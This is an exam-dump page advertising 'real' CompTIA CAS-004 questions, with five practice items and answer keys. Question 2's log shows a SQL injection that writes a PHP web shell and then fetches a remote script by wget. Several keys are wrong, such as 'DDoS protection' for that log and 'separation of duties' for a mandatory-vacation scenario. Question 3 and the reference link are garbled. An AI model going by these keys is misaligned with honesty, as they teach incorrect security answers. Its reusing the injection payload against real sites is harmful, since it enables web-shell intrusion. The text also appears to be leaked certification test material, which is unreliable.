# CAS-004 Q&As

CompTIA Advanced Security Practitioner (CASP+)

## Pass CompTIA CAS-004 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

**https://www.pass2lead.com/cas-004.html**

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

**QUESTION 1**

A third-party organization has implemented a system that allows it to analyze customers\\' data and deliver analysis results without being able to see the raw data. Which of the following is the organization implementing?

A. Asynchronous keys

B. Homomorphic encryption

C. Data lake D. Machine learning

Correct Answer: B

**QUESTION 2**

An analyst discovers the following while reviewing some recent activity logs:

```
76.235.14.101 - - [07/Mar/2019:16:05:32 -0800] "GET /login.php HTTP/1.1"
200
76.235.14.101 - - [07/Mar/2019:16:05:42 -0800] "GET /mainmenu.php 200
210.84.11.202 - - [07/Mar/2019:16:05:49 -0800] "GET /login.php?
password=UNION SELECT '<?php system($_GET[\ 'cmd\']); ?>', INTO OUTFILE
'/var/www/html/cmd.php'; HTTP/1.1" 200
210.84.11.202 - - [07/Mar/2019:16:05:15 -0800] "GET /cmd.php?cmd=wget%
20http://210.84.11.202/sh99.php HTTP/1.1" 200
76.235.14.101 - - [07/Mar/2019:16:05:35 -0800] "GET /addtocart.php?itemid=
352849 200
210.84.11.202 - - [07/Mar/2019:16:05:36 -0800] "GET /sh99.php HTTP/1.1"
200
76.235.14.101 - - [07/Mar/2019:16:07:00 -0800] "GET /checkout.php?itemid=
352849 200
```

Which of the following tools would MOST likely identify a future incident in a timely manner?

A. DDoS protection

B. File integrity monitoring

C. SCAP scanner

D. Protocol analyzer

Correct Answer: A

Reference: https7%ww cloudflare com/lp/DDc/ddos-m/?and bt=545481184035and bk=ddos%20protectionand bm=eand bn=qand bq=107086992232and placement=and tarqet=and loc=9076927and dv=candawsearchcpc=1andQclid=C|0KCQ [wv5uKBhD6ARIsAGv9a-xs25kzPU42pMSSkiJt03hbOoC8mxs4MIGe9rG9UDbakhBhBs30YaAikQEALwwcBandaclsrc=aw ds

**QUESTION 3**

Over the last 90 days, many storage services has been exposed in the cloud services environments, and the security team does not have the ability to see is creating these instance. Shadow IT is creating data services and instances faster than the small security team can keep up with them. The Chief information security Officer (CIASO) has asked the security officer (CISO) has asked the security lead architect to architect to recommend solutions to this problem.

Which of the following BEST addresses the problem best address the problem with the least amount of administrative effort?

A. Compile a list of firewall requests and compare than against interesting cloud services.

B. Implement a CASB solution and track cloud service use cases for greater visibility.

C. Implement a user-behavior system to associate user events and cloud service creation events.

D. Capture all log and feed then to a SIEM and then for cloud service events

Correct Answer: C

**QUESTION 4**

A security manager wants to implement a policy that will provide management with the ability to monitor employee\\'s activities with minimum impact to productivity. Which of the following policies is BEST suited for this scenario?

A. Separation of duties

B. Mandatory vacations

C. Least privilege

D. Incident response

Correct Answer: A

**QUESTION 5**

A company recently acquired a SaaS provider and needs to integrate its platform into the company\\'s existing infrastructure without impact to the customer\\'s experience. The SaaS provider does not have a mature security program A recent vulnerability scan of the SaaS provider\\'s systems shows multiple critical vulnerabilities attributed to very old and outdated Oss.

Which of the following solutions would prevent these vulnerabilities from being introduced into the company\\'s existing infrastructure?

A. Segment the systems to reduce the attack surface if an attack occurs

B. Migrate the services to new systems with a supported and patched OS.

C. Patch the systems to the latest versions of the existing OSs

D. Install anti-malware. HIPS, and host-based firewalls on each of the systems

Correct Answer: B